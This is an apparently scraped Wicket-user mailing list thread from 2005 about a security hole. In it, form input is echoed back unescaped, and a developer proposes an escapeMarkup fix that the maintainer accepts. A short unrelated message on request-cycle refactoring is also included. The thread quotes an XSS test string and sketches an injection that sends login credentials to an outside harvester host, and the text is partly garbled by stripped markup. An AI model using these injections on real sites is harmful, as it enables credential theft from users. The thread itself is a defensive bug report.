--- This SF.net email is sponsored by: Splunk Inc. Do you grep through log files for problems?Stop!Download the new AJAX search engine that makes
searching your log files as easy as surfing theweb.DOWNLOAD SPLUNK! http://ads.osdn.com/?ad_id=7637alloc_id=16865op=click
http://ads.osdn.com/?ad_id=7637alloc_id=16865op=click ___
Wicket-user mailing list Wicket-user@lists.sourceforge.net mailto:Wicket-user@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/wicket-user---
This SF.net email is sponsored by: Splunk Inc. Do you grep through log filesfor problems?Stop!Download the new AJAX search engine that makessearching your log files as easy as surfing theweb.DOWNLOAD SPLUNK!
http://ads.osdn.com/?ad_id=7637alloc_id=16865op=click___Wicket-user mailing list
Wicket-user@lists.sourceforge.nethttps://lists.sourceforge.net/lists/listinfo/wicket-user
Re: [Wicket-user] Security hole?
yes you are right that is a bug.I will fix this.I have currently a lot of changes for the Form component so that is just one more :)johanOn 11/24/05,
Laurent PETIT [EMAIL PROTECTED] wrote:
This problem is not only a security problem, but also a bug :
Indeed, please go to the Wicket Examples, and try this: (http://www.wicket-library.com/wicket-examples/index.html
)
-enter this in the first textfield of the forminput example : My team's name is Wicket's team
- Then erase the value of the Integer textfield (in order to generate an invalid input).
- Submit the form
You can see that the form will not be correctly re-displayed ( check the content of the String textfield)
The problem may be solved by replacing the FormComponent.getValue() method return statement :
return NO_INVALID_INPUT.equals(invalidInput) ? getModelValue() : invalidInput;
by this one:
return NO_INVALID_INPUT.equals(invalidInput) ? getModelValue() : Strings.escapeMarkup(invalidInput);
( Please note that Component.getModelObjectAsString() (html) escapes the value of the model)
HTH,
--
Laurent
On 11/24/05, Johannes Fahrenkrug [EMAIL PROTECTED] wrote:
Johan Compagner wrote: so when i have this: x = 6 7 10 5
as text in my model it gets encoded into html? (And thats what i see?) That is something i don't wantNo, I think this would be the right thing to do:the value of the model is x = 6 7 10 5
but as soon as wicket renders the page and the value of the input fieldthat the model is attached to,it should render the value as x = 6 lt; 7 amp; 10 gt; 5so that the html source will read
input type=text value=x = 6 lt; 7 amp; 10 gt; 5instead ofinput type=text value=x = 6 7 10 5special chars should only be RENDERED as html entities, not saved as
html entities in the model. The problem you describe is i think the at the beginning that makes it all possible, (else it was just a text value of the value attribute)
the makes it possible to break out of the value parameter of the inputfield. That could pose a security risk, though.Imagine this: You have a login form that saves the username in case thelogin failed and the page is reloaded.
Some malicious person opens the login page and enters this: href="" target="_blank" >
http://loginAndPasswordHarvester.com'dummy=
He sends off the form, it gets reloaded because the login is invalidand he leaves the terminal for someone else to login.When someone else trys to log in, their username and password get sentto a different server.
So I guess rendering special characters as html entities might be a goodidea.Cheers,Johannes. johan On 11/24/05, *Johannes Fahrenkrug*
[EMAIL PROTECTED] mailto:
[EMAIL PROTECTED] wrote: Hi, I have built several forms using Wicket. Just out of curiosity I
tried to enter the following line into a text field: scriptalert('Soylent Green Is People');/script test= When I reload the form, the _javascript_ code gets executed. Shouldn't
such special characters be converted to HTML entities when the page gets parsed? (You know lt; instead of and so forth) Cheers, Johannes.
--- This SF.net email is sponsored by: Splunk Inc. Do you grep through log files for problems?Stop!Download the new AJAX search engine that makes
searching your log files as easy as surfing theweb.DOWNLOAD SPLUNK!
http://ads.osdn.com/?ad_id=7637alloc_id=16865op=click
http://ads.osdn.com/?ad_id=7637alloc_id=16865op=click
___
Wicket-user mailing list Wicket-user@lists.sourceforge.net mailto:
Wicket-user@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/wicket-user
---
This SF.net email is sponsored by: Splunk Inc. Do you grep through log filesfor problems?Stop!Download the new AJAX search engine that makessearching your log files as easy as surfing theweb.DOWNLOAD SPLUNK!
http://ads.osdn.com/?ad_id=7637alloc_id=16865op=click
___Wicket-user mailing list
Wicket-user@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/wicket-user
Re: [Wicket-user] Security hole?
Yes, I'm getting good at pointing bugs / enhancement proposal on the Form component ;-)
On 11/24/05, Johan Compagner [EMAIL PROTECTED] wrote:
yes you are right that is a bug.I will fix this.I have currently a lot of changes for the Form component so that is just one more :)
johan
On 11/24/05, Laurent PETIT [EMAIL PROTECTED]
wrote:
This problem is not only a security problem, but also a bug :
Indeed, please go to the Wicket Examples, and try this: (http://www.wicket-library.com/wicket-examples/index.html
)
-enter this in the first textfield of the forminput example : My team's name is Wicket's team
- Then erase the value of the Integer textfield (in order to generate an invalid input).
- Submit the form
You can see that the form will not be correctly re-displayed ( check the content of the String textfield)
The problem may be solved by replacing the FormComponent.getValue() method return statement :
return NO_INVALID_INPUT.equals(invalidInput) ? getModelValue() : invalidInput;
by this one:
return NO_INVALID_INPUT.equals(invalidInput) ? getModelValue() : Strings.escapeMarkup(invalidInput);
( Please note that Component.getModelObjectAsString() (html) escapes the value of the model)
HTH,
--
Laurent
On 11/24/05, Johannes Fahrenkrug [EMAIL PROTECTED] wrote:
Johan Compagner wrote: so when i have this: x = 6 7 10 5
as text in my model it gets encoded into html? (And thats what i see?) That is something i don't wantNo, I think this would be the right thing to do:the value of the model is x = 6 7 10 5
but as soon as wicket renders the page and the value of the input fieldthat the model is attached to,it should render the value as x = 6 lt; 7 amp; 10 gt; 5so that the html source will read
input type=text value=x = 6 lt; 7 amp; 10 gt; 5instead ofinput type=text value=x = 6 7 10 5special chars should only be RENDERED as html entities, not saved as
html entities in the model. The problem you describe is i think the at the beginning that makes it all possible, (else it was just a text value of the value attribute)
the makes it possible to break out of the value parameter of the inputfield. That could pose a security risk, though.Imagine this: You have a login form that saves the username in case thelogin failed and the page is reloaded.
Some malicious person opens the login page and enters this: href="" target="_blank">
http://loginAndPasswordHarvester.com'dummy=He sends off the form, it gets reloaded because the login is invalidand he leaves the terminal for someone else to login.When someone else trys to log in, their username and password get sent
to a different server. So I guess rendering special characters as html entities might be a goodidea.Cheers,Johannes. johan On 11/24/05, *Johannes Fahrenkrug*
[EMAIL PROTECTED] mailto:
[EMAIL PROTECTED] wrote: Hi, I have built several forms using Wicket. Just out of curiosity I tried to enter the following line into a text field:
scriptalert('Soylent Green Is People');/script test= When I reload the form, the _javascript_ code gets executed. Shouldn't such special characters be converted to HTML entities when the
page gets parsed? (You know lt; instead of and so forth) Cheers, Johannes. ---
This SF.net email is sponsored by: Splunk Inc. Do you grep through log files for problems?Stop!Download the new AJAX search engine that makes searching your log files as easy as surfing theweb.DOWNLOAD
SPLUNK! http://ads.osdn.com/?ad_id=7637alloc_id=16865op=click
http://ads.osdn.com/?ad_id=7637alloc_id=16865op=click
___ Wicket-user mailing list
Wicket-user@lists.sourceforge.net mailto: Wicket-user@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/wicket-user
--- This SF.net email is sponsored by: Splunk Inc. Do you grep through log filesfor problems?Stop!Download the new AJAX search engine that makes
searching your log files as easy as surfing theweb.DOWNLOAD SPLUNK!
http://ads.osdn.com/?ad_id=7637alloc_id=16865op=click___Wicket-user mailing list
Wicket-user@lists.sourceforge.nethttps://lists.sourceforge.net/lists/listinfo/wicket-user
Re: [Wicket-user] Upload Progress bar
I kind of missed this discussion as I was working on the request cycle handling refactoring. After a short offline discussion with Johan, I took this as part of the refactoring too. The new way of handling (still has to be discussed with the other devs after I'm further with it, but I think it is look much, much better now) has synchronization depending on what I now call the 'request target' which could be anything from a page - which should be synchronized on the session - to shared resources or external resources (like images from your web app directory) - which shouldn't be synchronized at all. The Session.updateSession thingy is planned for step 2 of the refactoring. Ultimately, I'd like to end up with something that would allow for 'sessionless' applications. For instance, while working with bookmarkable pages that do not hold any components that implement IRequestListener, there is really no need to even put them in the session. In that case, or if you would have a home page like that, I would like to be able to at least defer creating a session object until it is actually needed. Not sure how difficult this will be, but it is probably doable. The refactoring encompasses quite a lot; it touches most important internals on Wicket, so I'd like to take a few days to sort it out and keep really focussed and have offline dicussions with core developers based on the commits first. So... Johan, Juergen, Igor, Martijn, ... you know where to find me :) Eelco --- This SF.net email is sponsored by: Splunk Inc. Do you grep through log files for problems? Stop! Download the new AJAX search engine that makes searching your log files as easy as surfing the web. DOWNLOAD SPLUNK! http://ads.osdn.com/?ad_idv37alloc_id865op=click ___ Wicket-user mailing list Wicket-user@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/wicket-user
